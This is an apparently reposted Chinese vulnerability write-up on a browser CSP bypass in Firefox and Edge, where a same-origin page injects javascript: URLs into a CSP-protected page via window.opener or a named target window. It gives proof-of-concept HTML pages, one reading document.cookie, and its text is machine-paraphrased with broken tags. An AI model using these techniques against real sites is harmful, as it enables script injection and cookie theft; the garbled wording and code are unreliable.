Firefox与Edge的dom策略导致的csp bypass问题-黑客接单平台

访客5年前黑客工具1109
在2019年对csp研讨过一阵,发现能够经过其他的dom向存在CSP的dom注入javascript协议,来到达绕过CSP的安全防护。 众所周知,CSP(内容安全战略)有两种 *** 来设置,一种是经过浏览器器呼应头,如下: Content-Security-Policy:sc-src 'self' https://apis.google.com 还有一种便是经过标签进行设置,如下: meta http-equiv="Content-Security-Policy" content="sc-src 'none'"> 我发现这存在一个问题,假如某页面设置了CSP,而同源下其他页面不做CSP防护的话,黑客能够使用opener和target目标来对存在CSP的页面做一个进犯。不了解这两个目标的同学能够参阅p牛的target进犯的介绍以及我在17年投稿的那儿文章。 回到正题,以opener为例,为此咱们创立两个进犯文件,go.html与attack.html html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(location.href);script> body> html> html> head> title> csp gotitle> head> body> script>parent.window.opener.location = "javascript:alert(location.href);"script> body> html> 把两个文件放在一个目录下,你会发现,go.html由于设置了CSP,他的 *** 代码不能答应。可是假如在Firefox中点击了csp_let’s_go, *** 就会履行,那是由于Firefox对该目标没有做防护。 而这在Chrome、Edge、Safiri中是不被答应的 便是这样,经过同源战略答应注入js,绕过了CSP的约束,相同的能够使用target来进行,这将分为两个html文件,go.html与target.html html> head>meta charset="utf-8">head> body> a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea> script> function start() { setInterval(function() { baidu.href="javascript:alert(location.href);"; baidu.click(); }, 5000); } script> body> html> html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> csp bypass body> html> 相同的,这能够绕过火狐的CSP战略 关于这两个缝隙火狐给予了确认,火狐的回复是: On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy. Edge Bug导致存在相同的问题 发现这个问题是由于在Edge测验如上代码的时分我发现我的系统资源CPU和内存被Edge占用了很高,所以我打开了调试台,看到了如下状况。 go.html一向向target.html抛出javascript协议,可是target由于CSP战略不断回绝,go.html就会将被回绝的恳求从头恳求一次,在加上时刻函数累加上的恳求,这儿成指数增加,导致了系统资源被耗尽。 在这种状况下对页面进行改写,能够绕过CSP: 当然这种状况下要用户自动去改写页面或许对DOM进行操作,咱们能够模仿改写来看到这个Bug: html> head> title>CSP Testtitle> meta http-equiv="Content-Security-Policy" content="script-src 'none'"> head> body> a href="./attack.html" target="_Blank">csp_let's_goa> script>alert(document.cookie);script> meta http-equiv="Refresh" content="1" /> body> html> html> head> title> csp gotitle> head>[1][2]黑客接单网

相关文章

运用Sboxr完成DOM XSS缝隙的主动发掘与使用

这一系列文章将为咱们展现如安在单页或JavaScript富应用上,运用Sboxr完成DOM XSS缝隙的主动发掘与运用。咱们将以https://domgo.at靶场中的10个DOM XSS的小操练为...

代码审计第三讲实战发掘sql注入缝隙

 为了更好去发掘php缝隙,关于盛行的结构,咱们也要了解一下,这样才干发掘到高位缝隙。关于结构学习,不同公司有不同结构,所以关于结构,也因人而应,别的看公司需求,假如你的公司大部分选用某一种结构,你来...

操控流程完整性:给我们介绍一种“特殊”的Javascript反剖析技能

写在前面的话 了解歹意软件的实在代码对歹意软件剖析人员来说对错常有优势的,由于这样才干够实在了解歹意软件所要做的工作。但不幸的是,咱们并不总是能够得到“实在”的代码,有时歹意软件剖析人员或许需求相似...

对DOTNET(.NET)中的歹意长途拜访进程进行剖析(下)

上一篇说到代码会有许多重复,由于它在每个if句子(共有五个if句子,会在下篇讲到)中都会调用一个函数。但是,细节却略有不同,其间给定的办法称号和函数的参数都会显现函数的内容。 第一个if句子在程序会集...

浏览器进犯结构BeEF Part 4:绕过同源战略与浏览器署理

从这一章开端,正式进入了进犯阶段。BeEF供给了很多的进犯模块,能够直接运用。除了已有的模块,BeEF还供给了API,能够运用API来自行开发新的进犯模块。这一章,要介绍怎么绕过同源战略,还会介绍Be...

一次射中可疑要挟情报的剖析探究

由于最近一段时刻里”驱动人生”这个病毒还挺抢手,最近发现经过一些安全厂商的设备发现内网里边有许多的主机都中了这个病毒瞬间吓哭了。后续经过对主机进行查看,竟然没有发现什么问题,后续发现是安全设备命中了一...